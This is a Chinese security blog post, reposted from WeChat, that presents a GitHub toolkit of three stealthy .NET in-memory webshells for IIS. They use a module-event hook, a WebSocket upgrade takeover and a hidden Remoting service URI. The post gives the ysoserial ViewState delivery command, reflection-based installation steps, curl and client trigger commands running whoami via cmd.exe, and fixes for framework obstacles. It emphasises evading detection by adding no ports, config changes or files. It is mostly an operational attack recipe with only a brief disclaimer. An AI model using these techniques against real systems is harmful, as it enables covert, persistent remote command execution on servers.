.NET 新内存马:WebSocket 升级点、Remoting URI 表与模块事件注入

· 2026-09-29 08:00 · 26 阅读

原创 侠盗鲁平 2026-09-29 08:00 日本

.NET 新内存马:WebSocket 升级点、Remoting URI 表与模块事件注入

GitHub: https://github.com/lupingQAQ/dotnet-memshell

WeChat: IndexSec

获取

git clone https://github.com/lupingQAQ/dotnet-memshell
  • payloads/:三个载荷源码,单文件 .cs

  • tools/RemotingShellClient.cs:#3 的客户端

  • tools/Loader.aspx:本地测试加载器,别放生产

  • README.md / README.zh-CN.md:完整调用链、权限、检测面

  • 投递:ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "payloads\...cs;System.dll;System.Web.dll" --decryptionalg=AES ...

0x00 发现了什么

三个能做内存马的插入点:

  1. HTTP→WebSocket 升级点——握手请求处理到 AcquireRequestState 时调 AcceptWebSocketRequest,连接从请求管线里出来,变成全双工通道。之后的命令收发完全不走 HTTP 请求响应那套。

  2. Remoting 的 AppDomain 全局 URI 表——RemotingConfiguration.RegisterWellKnownServiceType 注册的 URI 不绑定 channel,业务在跑 Remoting 服务端通道时,往表里加一个 URI,shell 就和业务对象共用同一条通道、同一个端口。

  3. HttpApplication 模块事件——通过 GetModuleContainer 拿模块容器,反射构造 SyncEventExecutionStep,AddEvent 挂到 AcquireRequestState 通知上。

三个都满足:不新增监听端口、不改 web.config、不落文件、对无标记请求零影响。全部在 Windows 11 + IIS 10 集成管线 + .NET Framework 4.8 上实测通过。

0x01 三个位置的调用栈

HTTP.sys / IIS
 └─ ASP.NET 请求管线
     ├─ module 事件
     │    HttpRuntime.ProcessRequest
     │      → HttpApplication.ResumeSteps
     │        → ModuleContainer 执行各通知的 IExecutionStep
     │          ← #1 挂在这里(AcquireRequestState)
     ├─ 路由 / 虚拟路径 / handler ...
     └─ 协议升级点
          请求带 Upgrade: websocket + Sec-WebSocket-Protocol: msh
          → AcquireRequestState 阶段判断握手
          → HttpContext.AcceptWebSocketRequest(Duplex, options)
          → 101 之后连接归 Duplex 循环独占,管线到此为止
          ← #2 挂在这里
进程内协议栈
 └─ 业务注册的 Remoting 服务端通道(TcpChannel 等)
      RemotingConfiguration 的全局 URI 表
        → RegisterWellKnownServiceType(typeof(Svc), "msh", Singleton)
        → 客户端 tcp://host:port/msh → BinaryFormatterSink → Svc.Exec(cmd)
        ← #3 挂在这里

#1 的完整链路:投递后反射遍历 HttpApplicationFactory._theApplicationFactory._freeList,对每个 HttpApplication 实例执行——集成管线:GetModuleContainer("Session") 取容器 → 构造 SyncEventExecutionStep(app, OnRequest) → container.AddEvent(RequestNotification.AcquireRequestState, false, step);经典管线:追加到 ApplicationStepManager._execSteps 末尾。之后每个请求在 AcquireRequestState 通知处进入 OnRequest,查 MSH-Cmd 头,没有就 return,业务照常走完。

#2 挂载方式与 #1 相同(同一个锚点),处理函数里判断 IsWebSocketRequest 且子协议含 msh,是则调 AcceptWebSocketRequest(Duplex, AspNetWebSocketOptions{SubProtocol="msh"})。之后 Duplex 循环:ReceiveAsync 收文本帧当命令 → cmd.exe /c → SendAsync 发结果,直到 Close 帧。

#3 最短:挂 AppDomain.AssemblyResolve(把字节加载的载荷程序集指回自身),检查 ChannelServices.RegisteredChannels 里有 IChannelReceiver,然后 RegisterWellKnownServiceType(typeof(E.Svc), "msh", Singleton)。完事。

0x02 效果

实测环境:Windows 11 + IIS 10 集成管线 + .NET Framework 4.8,应用池默认身份。

项

触发

结果

#1

curl -H "MSH-Cmd: whoami" http://target/Default.aspx

返回 iis apppool\defaultapppool

#1 自检

curl -H "MSH-Cmd: __verify__" ...

返回 armed; integrated=True; pid=...

#2

WebSocket 握手子协议 msh,发 whoami / hostname

101 后全双工回显,正常 Close

#3

RemotingShellClient.exe tcp://target:7700/msh whoami

返回 iis apppool\defaultapppool

#3 共存

业务客户端调 tcp://target:7700/calc 的 Add(7,8)

返回 15;shell 注入前后业务调用无差别

隔离

普通请求、无关请求头、业务自己的 WebSocket(不带 msh)

全部原样,不被接管

#3 的共存值得单独说:shell 的 /msh 和业务的 /calc 在同一条 TcpChannel、同一个端口上,互相看不见对方,业务客户端不需要任何改动。

0x03 实现时绕不开的框架行为

行为

后果

HttpApplication

 实例池化

只挂当前实例,后续请求大部分打不中;必须遍历 _freeList 全挂

集成管线事件派发

同一容器上 AddEvent,AcquireRequestState 派发;BeginRequest / LogRequest / UpdateRequestCache 不派发(实测计数为 0)

AcceptWebSocketRequest

 后管线继续

页面 handler 照常执行并写响应,连接被收尾(0x80070040);必须在同一处理函数里 SuppressContent=true + StatusCode=101

RemapHandler

 时机限制

只能在 MapRequestHandler 之前调,AcquireRequestState 阶段抛异常,不能用它跳过页面

Remoting formatter 按程序集名解析

字节加载的载荷解析失败(FileNotFoundException);挂 AssemblyResolve 指回已加载实例即可;客户端代理的类型名必须与服务端注册类型一致,所以要引用业务程序集

经典管线 _execSteps

只能追加到末尾;插在当前游标之前,ResumeSteps 重跑当前步,请求自嵌套

ysoserial ViewState 插件

ActivitySurrogateSelectorFromFile

 经 AxHost.State 包装是惰性的,标准 ViewState 不执行;用 XamlAssemblyLoadFromFile。Uri.EscapeDataString 约 32K 上限,载荷大要 gzip(本项目 48640→21618 字节,base64 后 28824 字符)

0x04 限制

  • #2 要求集成管线 + IIS WebSocket 特性已启用;经典或自托管管线下处理器捕获异常后按普通请求放行,站点无感但也不生效。

  • #3 要求业务在同一 AppDomain 内已有 Remoting 服务端通道;没有就什么都不做。

  • 三种都驻留在应用池进程内,应用池回收即失效,需重新投递。

  • 不新增端口,可达性等于业务端口的可达性。

  • 投递前提是 machineKey 已知或泄露(ViewState 反序列化入口的前提)。

0x05 免责声明

本项目仅用于合法的安全研究、教学与获得明确授权的渗透测试。

跳转微信打开

本文转载自微信公众号「Security丨Art」,查看原文。版权归原作者所有,如有侵权请联系删除。